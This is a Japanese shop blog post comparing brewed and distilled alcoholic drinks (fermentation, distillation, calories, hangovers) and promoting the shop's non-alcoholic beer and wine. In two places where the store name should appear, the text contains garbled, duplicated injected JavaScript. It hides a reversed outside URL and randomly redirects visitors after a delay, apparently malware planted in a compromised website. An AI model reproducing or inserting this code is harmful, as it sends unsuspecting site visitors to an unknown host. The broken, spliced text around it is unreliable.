分かったつもりになってない？醸造酒と蒸留酒の違い
昨年のコロナ渦での飲食店での酒類提供の制限をきっかけに、ずいぶん一般の皆様にまで認知された感のあるノンアルコール飲料。
最近では、1%未満のアルコールを含むノンアルコールビールが、「微アル」として人気を呼んだり、人気タレントをCMに起用したノンアルコールワインが爆発的ヒットとなるなど、家庭の食卓にもノンアルコールにも浸透してきていますね。
さて、ノンアルコールといえば、一般的に目にするのは、ノンアルコールビールやノンアルコールワインです。
逆に、ノンアルコールのウイスキーやブランデーというのは、なかなか見かけることがありませんね。
実は、これにはお酒の製法が大きく関係しているのです。
通常はお酒の製法については、あまり気にせず飲んでいると思いますが、今回は、製法によってお酒を大きく醸造酒と蒸留酒の2つに大別し、味わい、カロリー、酔い方、ノンアルコール化のしやすさなど、それぞれの違いを詳しく調べてみました。
◇知ってる？お酒の分類方法
製造方法の違いにより、酒類は大きく分けて、醸造酒、蒸留酒、混成酒の3つに分類されます。
このうち、混成酒は醸造酒・蒸留酒を元に、フルーツやハーブを漬け込んで作られる二次的な加工品であるため除外し、ここでは、大きく分けて「醸造酒」「蒸留酒」の2つを解説します。
醸造酒
「醸造酒」は果実や穀類を発酵させて造ったお酒のことで、歴史の古いお酒です。
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それ以外にも醸造酒には、東欧やロシアを中心に生産されている、蜂蜜を原料に作られる醸造酒（ミード）、 モンゴルの馬乳酒など、牛・馬・羊などのミルクを原料として作られる乳酒、東南アジアやアフリカの赤道付近で生産されているヤシ酒など、甘い樹液を発酵させて作る樹液酒があります。
単純に醸造酒といっても、意外にたくさんの種類があってオドロキですね！
醸造酒はさらに、発酵のさせ方によって単発酵と複発酵（単行複発酵、並行複発酵）に分類されます。
・単発酵
ワイン、蜂蜜酒、乳酒、樹液酒など、元の原料に含まれる糖分を利用して発酵させる方法を、単発酵といいます。
単発酵の醸造酒は、歴史上最初のお酒の始まりといわれています。
つぶれたブドウの果汁が自然に発酵したり、ミツバチの巣に溜まった水がたまたま発酵してお酒になっていたのを偶然発見し、そこから、人の手でお酒を作ることが始まったと考えられています。
・単行複発酵
・並行複発酵
ビールの原料は麦、日本酒の原料は米ですよね。
原料にもともと含まれる糖を利用するシンプルな単発酵と違い、このように穀物を原料として作るお酒の場合、人為的にひと手間かけなければアルコール発酵させることができません。
というのも、アルコール発酵を行う酵母が発酵できるのは、単糖類という単純な構造の糖類のみで、穀物に含まれているでんぷんは、単糖類がたくさん繋がった多糖類とよばれる糖のため、そのままではアルコール発酵をさせることができないのです。
そこで、麦や米を使って醸造酒を作る場合は、始めにでんぷんを単糖類に分解する工程が必要となります。
このように、あらかじめでんぷんを分解するプロセスを経る醸造法は「複発酵」と呼ばれます。
複発酵はさらに二つに分けられ、ビールでは「単行複発酵」、日本酒やマッコリでは「並行複発酵」という方法で発酵されます。
ビールの場合は、麦を発芽させることで、発芽の際に発生する酵素アミラーゼの力で、まず麦に含まれるデンプンを単糖類に分解します。
そして、麦芽から麦汁という甘い汁を作り、それをアルコール発酵させてビールを醸造します。
このように、でんぷんをまず糖に分解し、それから発酵させる方法を単行複発酵と呼びます。
それに対して、日本酒の場合、麹菌によって米のでんぷんを糖に分解しながら、同時に酵母によるアルコール発酵を行います。
糖化とアルコール発酵が並行して行われることから、「平行複発酵」と呼ばれます。平行複発酵では、少しづつ糖を生成しアルコールに変えていくことから酵母の活動性が阻害されないため、醸造酒としては比較的高いアルコール度のお酒を作ることができます。
醸造酒の最大の特徴は、アルコール度が低めなこと。
平均的なアルコール度はビールで5%から8%、ワインで10から14%、日本酒で13から16%程度。もっともアルコール度の高い醸造酒でも、最高で22%程度といわれます。これは、アルコール発酵を行う酵母は、アルコール度が高くなりすぎると、自らが作り出したアルコールによって死んでしまうためです。
醸造酒はアルコール度が低いため、ストレートで飲まれることが多いお酒です。原料由来のフレッシュな香りや、発酵によって複雑な生じるフレーバーをシッカリ堪能できるのが醸造酒のだいご味です。
蒸留酒
アルコールは78℃で沸騰して気化することが知られています。
さまざまな原料から作った醸造酒を加熱して、気化したアルコールや香気成分を含む気体を冷却回収して作られるお酒を「蒸留酒」といいます。
代表的な蒸留酒には、麦から作るウイスキー、ブドウから作るブランデー、トウモロコシから作るバーボン、ジャガイモから作るウオッカ、サトウキビから作るラム、リュウゼツランというサボテンから作るテキーラ、そして麦や芋から作る焼酎などがあります。
使われる原料により、さまざまな個性あふれる味わいとなりますが、アルコール以外の不純物が除かれているため、クリーンで雑味がないピュアな味わいが蒸留酒の特徴です。
蒸留酒の最大の特徴は、アルコール度の高さ。
気化したアルコールを冷却回収するため、元の醸造酒よりもアルコールが濃縮されて、アルコール度はぐっと高くなります。
一般的な蒸留酒のアルコール度は、焼酎や泡盛などでおよそ25%程度、ウイスキーやブランデー、ラム、ウオッカなどで大体40%程度。もっともアルコール度数が高いものでは、一部のウオッカでなんと96%というものもあります。
アルコール度が高いため、醸造酒のようにそのまま飲むことは少なく、氷を入れてロックにしたり、水割り・お湯割りなど薄めて飲むのが一般的です。
ジュースなどを混ぜてカクテルとして楽しむこともできる、多様な飲み方のできるお酒といえるでしょう。
ちなみに、蒸留酒は蒸留の方法によって、単式蒸留と連続式蒸留の2種類に分けられます。
そして、この蒸留方法は、お酒の原料として使用する素材とともに、蒸留酒の味わいを決める非常に重要な要因となっています。
・単式蒸留
単式蒸留は、昔からある伝統的な蒸留方法で、蒸留酒を加熱し、気化したアルコールを冷却機に通して蒸留液を得るシンプルな方法です。
一回の蒸留で、およそ元のアルコール度の3倍程度にまで濃縮することが可能で、数回の蒸留を重ねて徐々にアルコール度を高めます。
単式蒸留は、元となる蒸留酒に由来する風味がしっかり残るのが特徴です。そのため、香りが命の、高級モルトウイスキーや本格焼酎、テキーラ、コニャックなどで利用されています。
値段の張る高級な蒸留酒に使用される、ハンドクラフト的なこだわりの蒸留方法といえます。
・連続式蒸留
連続式蒸留は、19世紀ごろに登場した蒸留方法で、工業的に効率的な蒸留を行うための蒸留方法です。
複式蒸留器を簡単に説明すると、大きな蒸留器の中に複数の単式蒸留器をいくつも設置した構造になっています。複数回の蒸留を繰り返すのと同じ効果があるので、一度の蒸留でも90%程度の純度にまでアルコール度を高めることができます。
連続式蒸留によって得られる蒸留酒は非常にアルコールの純度が高く、また、原料の風味はあまり残らないため、単式蒸留にくらべてよりクリアな味わいの蒸留酒が得られます。
◇醸造酒 VS 蒸留酒、それぞれの特徴、長所/短所を知りたい！
では、次に醸造酒と蒸留酒の、それぞれの特徴や長所/短所についてみていきましょう。
・アルコール度が高いのはどっち？
前述の通り、アルコール度数は蒸留酒のほうが高いです。
醸造酒は製造方法上、アルコール度は20度程度が上限ですが、醸造酒からアルコールを含む成分を濃縮する醸造酒は、蒸留回数を増やすことでアルコール度を高めることができます。一般的には、蒸留酒は40度程度のアルコール度があります。
・カロリーが高いのはどっち？
アルコールのエネルギーは、1グラムあたり7.1kcalとされています。
ですので、同じ量あたりのカロリーを比較すると、アルコール度数の高い蒸留酒の方がカロリーは高くなります。
例えば、ビール100ml当たりのカロリーは約40kcalですが、ウイスキーやブランデーの場合、100ml当たり222kcalとビールに比べハイカロリーです。
しかし、一杯当たりの提供量を考慮すると、アルコール度が高く一度に飲む量の少ない蒸留酒の方が、相対的に醸造酒よりカロリーが低くなる傾向があります。
例えば、蒸留酒のウイスキー・ブランデーは1杯(シングル/30ml) 68kcalですが、醸造酒であるワインの場合、グラス1杯（125ml) 94kcal、日本酒の場合、一合（180ml) 193kcal、ビール(ロング缶・500ml)は195kcalと、相対的に高めですね。
ただし、蒸留酒の場合も、カクテルのようにジンジャーエールやジュースで割ったり、お砂糖やシロップなどを加えてカクテルとして飲む場合、糖分のカロリーがプラスされてしまうため、気を付けてくださいね。
・太りにくいのはどっち？
太りやすさを考えた時、カロリー以外に考慮したいのが糖質です。
醸造酒はもともと糖を含む液体をアルコール発酵させて製造する為、発酵後のお酒にはアルコールに変わりきらなかった糖が残存しています。
それに対して、蒸留酒の場合、糖分は蒸留段階でのぞかれてしまうため、糖分の含有量はゼロ。
糖質の点からは、蒸留酒のほうが太りにくいお酒といえるでしょう。
ただし、蒸留酒の場合も、飲み過ぎに要注意です。
「アルコールのカロリーは、体には蓄積しないため、糖質を含まない蒸留酒は飲んでも太らない」という説を聞いたことがありませんか？
確かに、アルコールに由来するカロリーは、全体の7割はアルコールを代謝するためのプロセスで消費されます。そして、残りの3割は体内で酢酸という分解されやすい脂肪酸に変わり、いち早くエネルギー源として使用されます。
しかしこれは、通常エネルギー源として使用されている脂肪の分解が後回しにされて、酢酸が優先して使われているだけ。
そのため、肝心の脂肪は分解されずに、体に蓄えられてしまうのです。
「アルコールから摂取したカロリーは体に蓄積しない」を真に受けて、大量に蒸留酒を飲み続けてしまえば、結局肥満につながってしまうので要注意ですよ！
・悪酔いしにくいのはどっち？
悪酔いしにくいという点では、蒸留酒に軍配が上がります。
あまり知られていませんが、アルコールには、エタノール、メタノール、フェネチルアルコール、ブタノールなど、いくつかの種類が存在します。実は醸造酒には、このようなさまざまな種類のアルコール類が含まれており、それが肝臓でのアルコールのスムーズな分解を妨げるため、体内にアルコールが残りやすいといわれています。
蒸留により、純粋なアルコール（エタノール）のみが分離されている蒸留酒の場合は、体内での分解がスムーズに進行するため、体に残りにくいそうです。
また、醸造酒には、アルコール以外の不純物（たんぱく質やアミノ酸など）がお酒の中に多く残存しており、その中に、頭痛などの不快な症状を引き起こす物質が含まれています。
例えば、赤ワインに含まれることで知られるチラミン。
チラミンは血管を収縮させる働きがあるのですが、チラミンが分解された後に、その反動で血管んが拡張してしまい、ズキズキする頭痛を生む原因になるといわれています。
また、赤ワインや日本酒に含まれるヒスタミンは、アレルギー症状を引き起こす物質として知られており、飲酒によって頭痛や吐き気、顔面の紅潮、かゆみなどを引き起こすことがあります。
蒸留酒の場合、蒸留によってこれらの不純物が除かれているため、悪酔いしにくいといわれているのです。
とはいえ、酔い方は、個人の体質やその日の体調によっても左右されます。
適切な量を守って楽しむようにしましょうね。
◇蒸留酒、醸造酒ノンアルコールにして美味しいのはどっち？
さて、始めにも書きましたが、ノンアルコールといって一般的に目にするのは、ノンアルコールビールやノンアルコールワインです。
逆に、ノンアルコールのウイスキーやブランデーは、なかなか見かけることがありませんよね。これはなぜでしょうか？
アルコール度の高い蒸留酒の場合、味わいを構成する要素におけるアルコールの割合が大きく、脱アルコールしてしまうと、味わいの中心を占めていた要素を失い、味わいのバランスが大きく崩れてしまいます。そのため、蒸留酒から、美味しいノンアルコール飲料を作ることは難しいのです。
ただ、最近のノンアルコールブームに乗って、現在の世界的なノンアルコールブームをけん引するイギリスなどで、様々なフルーツやハーブの香りを抽出したノンアルコールスピリッツが登場してきています。
また、蒸留酒にジュニパーなどのハーブの香りをつけて作られるジンも、香りが主役の蒸留酒のためか比較的ノンアルコール化しやすいようで、いくつかの銘柄が販売されています。
醸造酒の場合、例えば、ビールは元々のアルコール度が4から5%程度と、味全体に占めるアルコールの要素が少なく、また、アルコール以外にも、麦由来のタンパク質、ペプチド、アミノ酸、核酸などの成分や、ホップに由来する苦み成分のイソアルファ酸などさまざまな成分が複雑な味わいを生み出しているため、アルコールを除くことによる味わいの変化が相対的に小さくなります。
そのため、ノンアルコールでも比較的、元のお酒の味に近い味わいに仕上げることができ、美味しく楽しむことができるのです。
◇MELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreおすすめのノンアルコールはこれだ！
当店のおすすめのノンアルコールは、やはり醸造酒であるビールとワイン。
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いずれも、いったん醸造したお酒を、真空蒸留という方法でアルコールの沸点を下げ、元のお酒の味わいを守32℃という低温で蒸留して脱アルコールしました。
なので、醸造酒が本来持っている豊かなアロマやフレーバーはそのままに、アルコールは0.0％。
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全て、MELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreでご購入いただけますよ！
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